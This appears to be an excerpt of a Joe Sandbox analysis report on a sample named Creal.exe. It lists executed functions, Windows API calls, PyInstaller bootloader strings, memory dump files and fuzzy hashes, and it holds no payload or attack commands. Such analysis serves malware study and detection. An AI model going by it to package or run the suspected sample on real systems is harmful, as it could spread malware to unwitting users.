Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction ID: 71e63b0056ec7337ce8ba6d8a7d566ca771235cbca1515f96e24e2b473a19f08
Opcode Fuzzy Hash: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction Fuzzy Hash: E9D01791F09B4682FF1D4B62A84837456505B18B41F683038CA1E86390EE6ED0888794

Analysis Process: Creal.exePID: 5676, Parent PID: 4976COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	34

Executed Functions

Function 00007FF6D92489E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9249390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6D92445F4,00000000,00007FF6D9241985), ref: 00007FF6D92493C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248A56

Part of subcall function 00007FF6D925A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925A490

Part of subcall function 00007FF6D925871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9258783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248AE6
CreateProcessW.KERNELBASE ref: 00007FF6D9248B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248B28

Part of subcall function 00007FF6D9242C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242C9E
Part of subcall function 00007FF6D9242C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242D63
Part of subcall function 00007FF6D9242C50: MessageBoxW.USER32 ref: 00007FF6D9242D99

RegisterClassW.USER32 ref: 00007FF6D9248B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248B8B
CreateWindowExW.USER32 ref: 00007FF6D9248BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248C15
PeekMessageW.USER32 ref: 00007FF6D9248C39
TranslateMessage.USER32 ref: 00007FF6D9248C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248C51
PeekMessageW.USER32 ref: 00007FF6D9248C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248E04
GetExitCodeProcess.KERNELBASE ref: 00007FF6D9248E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6D9243F7F), ref: 00007FF6D9248E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF6D9248B54
PyInstaller Onefile Hidden Window, xrefs: 00007FF6D9248B95
CreateProcessW, xrefs: 00007FF6D9248B37
Failed to create child process!, xrefs: 00007FF6D9248B30

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 3c67bba836a99225457eb9b277feedf950fe0e90b03fff68e5578b00ed1c1b9c
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 66D18232A29A8286FB109F74E9542AD3764FF98B58F400237DA5D83AA4DF3CD565CB40

Function 00007FF6D9241000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MEI, xrefs: 00007FF6D9243933
pyi-runtime-tmpdir, xrefs: 00007FF6D9243B68
pkg, xrefs: 00007FF6D92439BE
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6D9243A17, 00007FF6D9243A2F, 00007FF6D9243A9B
Failed to start splash screen!, xrefs: 00007FF6D9243ED4
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6D92439DE
_PYI_SPLASH_IPC, xrefs: 00007FF6D9243A23, 00007FF6D9243EF5
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6D9243882, 00007FF6D92438AF
Failed to load splash screen resources!, xrefs: 00007FF6D9243E85
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6D9243971
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6D9243BE8
Could not create temporary directory!, xrefs: 00007FF6D9243CBF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6D9243D12
Py_GIL_DISABLED, xrefs: 00007FF6D9243AF4
pyi-disable-windowed-traceback, xrefs: 00007FF6D9243BB2
Failed to convert DLL search path!, xrefs: 00007FF6D9243DDC
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6D9243D35
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6D9243A0B, 00007FF6D9243CD4, 00007FF6D9243F6B
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6D9243EA6
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6D9243E0A
Failed to remove temporary directory: %s, xrefs: 00007FF6D9243FCF
VCRUNTIME140.dll, xrefs: 00007FF6D9243DB1
_PYI_ARCHIVE_FILE, xrefs: 00007FF6D92438D2, 00007FF6D92439FF
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6D9243C61
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6D9243EBB
pyi-contents-directory, xrefs: 00007FF6D9243B8D
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6D9243B32
pyi-python-flag, xrefs: 00007FF6D9243AD6

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction ID: a6866806c9214bbae5c451787806f1a315c4708040ecb690f1ca90ee3d962c42
Opcode Fuzzy Hash: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction Fuzzy Hash: 4E32AF21A2C68691FB19EF25DB543BD2661AF68780F444033DA5DC36D6DF2CE678CB40

Function 00007FF6D9265C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6D9265C45

Part of subcall function 00007FF6D9265598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92655AC

Part of subcall function 00007FF6D925A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A95E
Part of subcall function 00007FF6D925A948: GetLastError.KERNEL32(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A968

Part of subcall function 00007FF6D925A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6D925A8DF,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925A909
Part of subcall function 00007FF6D925A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6D925A8DF,?,?,?,?,?,00007FF6D925A7CA), ref: 00007FF6D925A92E

_get_daylight.LIBCMT ref: 00007FF6D9265C34

Part of subcall function 00007FF6D92655F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D926560C

_get_daylight.LIBCMT ref: 00007FF6D9265EAA
_get_daylight.LIBCMT ref: 00007FF6D9265EBB
_get_daylight.LIBCMT ref: 00007FF6D9265ECC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6D926610C), ref: 00007FF6D9265EF3

Strings

Eastern Standard Time, xrefs: 00007FF6D9265F99
Eastern Summer Time, xrefs: 00007FF6D9265FB1

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: dd93091ff2f17458dd622a58b75869cde8563797846a22ebf6205d689f5111da
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: 18D1E122A2824246FB24AF65DA419BD6761FF84794F448037EA4DC7BDADF3CE461C780

Function 00007FF6D9266964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9266698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92666D9
Part of subcall function 00007FF6D9266698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9266757
Part of subcall function 00007FF6D9266698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92667A8

CreateFileW.KERNELBASE ref: 00007FF6D9266A6A
CreateFileW.KERNEL32 ref: 00007FF6D9266ABA
GetLastError.KERNEL32 ref: 00007FF6D9266AEA
GetFileType.KERNELBASE ref: 00007FF6D9266AFF
GetLastError.KERNEL32 ref: 00007FF6D9266B09
CloseHandle.KERNEL32 ref: 00007FF6D9266B3C
CloseHandle.KERNEL32 ref: 00007FF6D9266C9F
CreateFileW.KERNEL32 ref: 00007FF6D9266CD4
GetLastError.KERNEL32 ref: 00007FF6D9266CE3

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: cfc4742d87f74047e8abebaada8302a674a130fb90fb1d0c03b40b1d6c716977
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 22C1AE32B28A4185FB10CFA9D6906BD3761FB49B98F014226DE1E97BD4CF38E461C380

Function 00007FF6D92483C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D924842B
RemoveDirectoryW.KERNEL32(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D92484AE
DeleteFileW.KERNELBASE(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D92484CD
FindNextFileW.KERNELBASE(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D92484DB
FindClose.KERNELBASE(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D92484EC
RemoveDirectoryW.KERNELBASE(?,00007FF6D9248919,00007FF6D9243FA5), ref: 00007FF6D92484F5

Strings

%s\*, xrefs: 00007FF6D92483F2

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 7c12b01ff297979e1ecdf005a6213684df6049b407edb1b83f88227167b7eee2
Instruction ID: 5e030df47e091e300b2cfc5277fafb3b971cf17dbf9ec107daf67d2f8dca4ab2
Opcode Fuzzy Hash: 7c12b01ff297979e1ecdf005a6213684df6049b407edb1b83f88227167b7eee2
Instruction Fuzzy Hash: 0F416421A3C58295FE209F64E6441BE63A0FBA9754F400233D55DC3AD4EF3CD559CB80

Function 00007FF6D9265E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6D9265EAA

Part of subcall function 00007FF6D92655F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D926560C

_get_daylight.LIBCMT ref: 00007FF6D9265EBB

Part of subcall function 00007FF6D9265598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92655AC

_get_daylight.LIBCMT ref: 00007FF6D9265ECC

Part of subcall function 00007FF6D92655C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92655DC

Part of subcall function 00007FF6D925A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A95E
Part of subcall function 00007FF6D925A948: GetLastError.KERNEL32(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A968

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6D926610C), ref: 00007FF6D9265EF3

Strings

Eastern Standard Time, xrefs: 00007FF6D9265F99
Eastern Summer Time, xrefs: 00007FF6D9265FB1

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: 25a3a8369560544cbd8131752c635178d8c9d0a525411195b5f20d6c675ca29a
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 83517D32A2864286F724DF65EA815AD7761FB88784F404137EA4DC7B9ADF3CE521C780

Function 00007FF6D9249280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6D92492B3
FindClose.KERNELBASE ref: 00007FF6D92492C2

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 197d6703327ca0476f7df647dc377543a3ef7293deeb1d5b6b246ce2f7d6215e
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: D3F0C826A2C74186FB60CF64B58876E7350BB98728F040336D96D52AD4DF3CD068CF00

Function 00007FF6D9241950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9247F90: _fread_nolock.LIBCMT ref: 00007FF6D924803A

_fread_nolock.LIBCMT ref: 00007FF6D9241A1B

Part of subcall function 00007FF6D9242910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6D9241B6A), ref: 00007FF6D924295E

Strings

Error on file., xrefs: 00007FF6D9241B8D
MEI, xrefs: 00007FF6D9241991
Failed to read cookie!, xrefs: 00007FF6D9241A2B
Could not allocate memory for archive structure!, xrefs: 00007FF6D9241A61
calloc, xrefs: 00007FF6D9241A68
Failed to seek to cookie position!, xrefs: 00007FF6D92419EE
fseek, xrefs: 00007FF6D92419F5
Could not read full TOC!, xrefs: 00007FF6D9241B55
fread, xrefs: 00007FF6D9241A32, 00007FF6D9241B5C
malloc, xrefs: 00007FF6D9241B22
Could not allocate buffer for TOC!, xrefs: 00007FF6D9241B1B

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 366ee5d3afceab38ba1fccf279b745a5e3150e0a5f226ca546ddb68d3ae287d0
Instruction ID: 8a7be08f1889e787f5a7a87e71ba11c81de2b33eb88026d914b00db4016807a9
Opcode Fuzzy Hash: 366ee5d3afceab38ba1fccf279b745a5e3150e0a5f226ca546ddb68d3ae287d0
Instruction Fuzzy Hash: 11819F71A2C68686FB60DF24DA412BD73A0AF68784F404433D98DC7B8ADE3CE565CB41

Function 00007FF6D9241600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6D92416A2
fwrite, xrefs: 00007FF6D92417D1
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6D9241742
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6D92417DF
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6D92417CA
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6D92416DA
fopen, xrefs: 00007FF6D9241663
fseek, xrefs: 00007FF6D92416E1
fread, xrefs: 00007FF6D92417E6
malloc, xrefs: 00007FF6D9241749
Failed to extract %s: failed to open target file!, xrefs: 00007FF6D924165C
Failed to create symbolic link %s!, xrefs: 00007FF6D9241622

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 4ba9704c2667ef3387b8ad085b4ce1cd9035ff509126d6a3bfbf4b4a2ffdb3da
Instruction ID: 6bd03d323095a1bb4be6c75c47db71f8cc9d53c1a6b641e574165910932f77e0
Opcode Fuzzy Hash: 4ba9704c2667ef3387b8ad085b4ce1cd9035ff509126d6a3bfbf4b4a2ffdb3da
Instruction Fuzzy Hash: F3518E21B2964392FA10AF51AA011BD73A0BF68794F444533EE4D87B9ADF3CE575CB80

Function 00007FF6D9248660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF6D9243CBB), ref: 00007FF6D9248704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF6D9243CBB), ref: 00007FF6D924870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF6D9243CBB), ref: 00007FF6D924874C

Part of subcall function 00007FF6D9248830: GetEnvironmentVariableW.KERNEL32(00007FF6D924388E), ref: 00007FF6D9248867
Part of subcall function 00007FF6D9248830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6D9248889

Part of subcall function 00007FF6D9258238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9258251

Part of subcall function 00007FF6D9242810: MessageBoxW.USER32 ref: 00007FF6D92428EA

Strings

TMP, xrefs: 00007FF6D92486C2
_MEI%d, xrefs: 00007FF6D9248712
TMP, xrefs: 00007FF6D924869C, 00007FF6D92487A3
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6D92486DC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6D924877E

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

